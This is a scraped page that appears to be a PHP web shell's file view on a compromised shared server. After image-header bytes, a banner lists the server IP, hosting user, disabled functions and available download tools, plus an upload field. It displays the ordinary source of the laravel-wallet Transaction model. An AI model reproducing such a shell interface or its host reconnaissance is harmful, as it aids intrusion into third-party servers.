����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.138.191.28 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.gltechlimited.com/vendor/bavix/laravel-wallet/src/Models/ |
Upload File : |
<?php namespace Bavix\Wallet\Models; use function array_merge; use Bavix\Wallet\Interfaces\Mathable; use Bavix\Wallet\Interfaces\Wallet; use Bavix\Wallet\Models\Wallet as WalletModel; use Bavix\Wallet\Services\WalletService; use function config; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\MorphTo; /** * Class Transaction. * * @property string $payable_type * @property int $payable_id * @property int $wallet_id * @property string $uuid * @property string $type * @property int|string $amount * @property float $amountFloat * @property bool $confirmed * @property array $meta * @property Wallet $payable * @property WalletModel $wallet */ class Transaction extends Model { public const TYPE_DEPOSIT = 'deposit'; public const TYPE_WITHDRAW = 'withdraw'; /** * @var array */ protected $fillable = [ 'payable_type', 'payable_id', 'wallet_id', 'uuid', 'type', 'amount', 'confirmed', 'meta', ]; /** * @var array */ protected $casts = [ 'wallet_id' => 'int', 'confirmed' => 'bool', 'meta' => 'json', ]; /** * {@inheritdoc} */ public function getCasts(): array { return array_merge( parent::getCasts(), config('wallet.transaction.casts', []) ); } /** * @return string */ public function getTable(): string { if (! $this->table) { $this->table = config('wallet.transaction.table', 'transactions'); } return parent::getTable(); } /** * @return MorphTo */ public function payable(): MorphTo { return $this->morphTo(); } /** * @return BelongsTo */ public function wallet(): BelongsTo { return $this->belongsTo(config('wallet.wallet.model', WalletModel::class)); } /** * @return int|float */ public function getAmountFloatAttribute() { $decimalPlaces = app(WalletService::class) ->decimalPlaces($this->wallet); return app(Mathable::class) ->div($this->amount, $decimalPlaces); } /** * @param int|float $amount * * @return void */ public function setAmountFloatAttribute($amount): void { $math = app(Mathable::class); $decimalPlaces = app(WalletService::class) ->decimalPlaces($this->wallet); $this->amount = $math->round($math->mul($amount, $decimalPlaces)); } }